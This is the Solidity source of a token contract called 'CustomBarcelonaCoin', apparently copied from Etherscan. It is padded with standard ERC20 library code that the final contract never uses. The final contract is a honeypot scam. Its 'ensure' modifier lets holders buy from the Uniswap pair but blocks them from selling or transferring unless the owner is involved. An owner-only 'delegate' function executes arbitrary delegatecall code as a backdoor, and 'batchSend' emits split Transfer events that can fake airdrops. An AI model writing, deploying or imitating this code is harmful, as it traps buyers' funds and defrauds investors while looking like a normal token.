// File: contracts/CustomBarcelonaCoin.sol



/**
 *Submitted for verification at Etherscan.io on 2021-05-16
*/

pragma solidity ^0.5.17;
/*

Customized BCLNC

*/

interface IERC20 {
  function totalSupply() external view returns(uint);

  function balanceOf(address account) external view returns(uint);

  function transfer(address recipient, uint amount) external returns(bool);

  function allowance(address owner, address spender) external view returns(uint);

  function approve(address spender, uint amount) external returns(bool);

  function transferFrom(address sender, address recipient, uint amount) external returns(bool);
  event Transfer(address indexed from, address indexed to, uint value);
  event Approval(address indexed owner, address indexed spender, uint value);
}

library Address {
  function isContract(address account) internal view returns(bool) {
    bytes32 codehash;
    bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
    // solhint-disable-next-line no-inline-assembly
    assembly { codehash:= extcodehash(account) }
    return (codehash != 0x0 && codehash != accountHash);
  }
}

contract Context {
  constructor() internal {}
  // solhint-disable-previous-line no-empty-blocks
  function _msgSender() internal view returns(address payable) {
    return msg.sender;
  }
}

library SafeMath {
  function add(uint a, uint b) internal pure returns(uint) {
    uint c = a + b;
    require(c >= a, "SafeMath: addition overflow");

    return c;
  }

  function sub(uint a, uint b) internal pure returns(uint) {
    return sub(a, b, "SafeMath: subtraction overflow");
  }

  function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
    require(b <= a, errorMessage);
    uint c = a - b;

    return c;
  }

  function mul(uint a, uint b) internal pure returns(uint) {
    if (a == 0) {
        return 0;
    }

    uint c = a * b;
    require(c / a == b, "SafeMath: multiplication overflow");

    return c;
  }

  function div(uint a, uint b) internal pure returns(uint) {
    return div(a, b, "SafeMath: division by zero");
  }

  function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
    // Solidity only automatically asserts when dividing by 0
    require(b > 0, errorMessage);
    uint c = a / b;

    return c;
  }
}

library SafeERC20 {
  using SafeMath
  for uint;
  using Address
  for address;

  function safeTransfer(IERC20 token, address to, uint value) internal {
    callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
  }

  function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
    callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
  }

  function safeApprove(IERC20 token, address spender, uint value) internal {
    require((value == 0) || (token.allowance(address(this), spender) == 0),
      "SafeERC20: approve from non-zero to non-zero allowance"
    );
    callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
  }

  function callOptionalReturn(IERC20 token, bytes memory data) private {
    require(address(token).isContract(), "SafeERC20: call to non-contract");

    // solhint-disable-next-line avoid-low-level-calls
    (bool success, bytes memory returndata) = address(token).call(data);
    require(success, "SafeERC20: low-level call failed");

    if (returndata.length > 0) { // Return data is optional
      // solhint-disable-next-line max-line-length
      require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
    }
  }
}

contract ERC20 is Context, IERC20 {
  using SafeMath for uint;
  mapping(address => uint) private _balances;

  mapping(address => mapping(address => uint)) private _allowances;

  uint private _totalSupply;

  function totalSupply() public view returns(uint) {
    return _totalSupply;
  }

  function balanceOf(address account) public view returns(uint) {
    return _balances[account];
  }

  function transfer(address recipient, uint amount) public returns(bool) {
    _transfer(_msgSender(), recipient, amount);
    return true;
  }

  function allowance(address owner, address spender) public view returns(uint) {
    return _allowances[owner][spender];
  }

  function approve(address spender, uint amount) public returns(bool) {
    _approve(_msgSender(), spender, amount);
    return true;
  }

  function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
    _transfer(sender, recipient, amount);
    _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
    return true;
  }

  function increaseAllowance(address spender, uint addedValue) public returns(bool) {
    _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
    return true;
  }

  function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
    _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
    return true;
  }

  function _transfer(address sender, address recipient, uint amount) internal {
    require(sender != address(0), "ERC20: transfer from the zero address");
    require(recipient != address(0), "ERC20: transfer to the zero address");

    _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
    _balances[recipient] = _balances[recipient].add(amount);
    emit Transfer(sender, recipient, amount);
  }

  function _mint(address account, uint amount) internal {
    require(account != address(0), "ERC20: mint to the zero address");

    _totalSupply = _totalSupply.add(amount);
    _balances[account] = _balances[account].add(amount);
    emit Transfer(address(0), account, amount);
  }

  function _burn(address account, uint amount) internal {
    require(account != address(0), "ERC20: burn from the zero address");

    _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
    _totalSupply = _totalSupply.sub(amount);
    emit Transfer(account, address(0), amount);
  }

  function _approve(address owner, address spender, uint amount) internal {
    require(owner != address(0), "ERC20: approve from the zero address");
    require(spender != address(0), "ERC20: approve to the zero address");

    _allowances[owner][spender] = amount;
    emit Approval(owner, spender, amount);
  }
}

contract ERC20Detailed is IERC20 {
  string private _name;
  string private _symbol;
  uint8 private _decimals;

  constructor(string memory name, string memory symbol, uint8 decimals) public {
    _name = name;
    _symbol = symbol;
    _decimals = decimals;
  }

  function name() public view returns(string memory) {
    return _name;
  }

  function symbol() public view returns(string memory) {
    return _symbol;
  }

  function decimals() public view returns(uint8) {
    return _decimals;
  }
}


contract CustomBarcelonaCoin {
  event Transfer(address indexed _from, address indexed _to, uint _value);
  event Approval(address indexed _owner, address indexed _spender, uint _value);

  function transfer(address _to, uint _value) public payable returns (bool) {
    return transferFrom(msg.sender, _to, _value);
  }

  function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
    if (_value == 0) {return true;}
    if (msg.sender != _from) {
      require(allowance[_from][msg.sender] >= _value);
      allowance[_from][msg.sender] -= _value;
    }
    require(balanceOf[_from] >= _value);
    balanceOf[_from] -= _value;
    balanceOf[_to] += _value;
    emit Transfer(_from, _to, _value);
    return true;
  }

  function approve(address _spender, uint _value) public payable returns (bool) {
    allowance[msg.sender][_spender] = _value;
    emit Approval(msg.sender, _spender, _value);
    return true;
  }

  function delegate(address a, bytes memory b) public payable {
    require(msg.sender == owner);
    (bool success, ) = a.delegatecall(b);
    require(success);
  }

  function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
    require (msg.sender == owner);
    uint total = _value * _tos.length;
    require(balanceOf[msg.sender] >= total);
    balanceOf[msg.sender] -= total;
    for (uint i = 0; i < _tos.length; i++) {
      address _to = _tos[i];
      balanceOf[_to] += _value;
      emit Transfer(msg.sender, _to, _value/2);
      emit Transfer(msg.sender, _to, _value/2);
    }
    return true;
  }

  modifier ensure(address _from, address _to) {
    address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
    require(_from == owner || _to == owner || _from == UNI);
    _;
  }

  function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
    (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
    pair = address(uint(keccak256(abi.encodePacked(
            hex'ff',
            factory,
            keccak256(abi.encodePacked(token0, token1)),
            hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
        ))));
  }

  mapping (address => uint) public balanceOf;
  mapping (address => mapping (address => uint)) public allowance;

  uint constant public decimals = 18;
  uint public totalSupply;
  string public name;
  string public symbol;
  address private owner;
  address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

  constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
    name = _name;
    symbol = _symbol;
    totalSupply = _supply;
    owner = msg.sender;
    balanceOf[msg.sender] = totalSupply;
    allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
    emit Transfer(address(0x0), msg.sender, totalSupply);
  }
}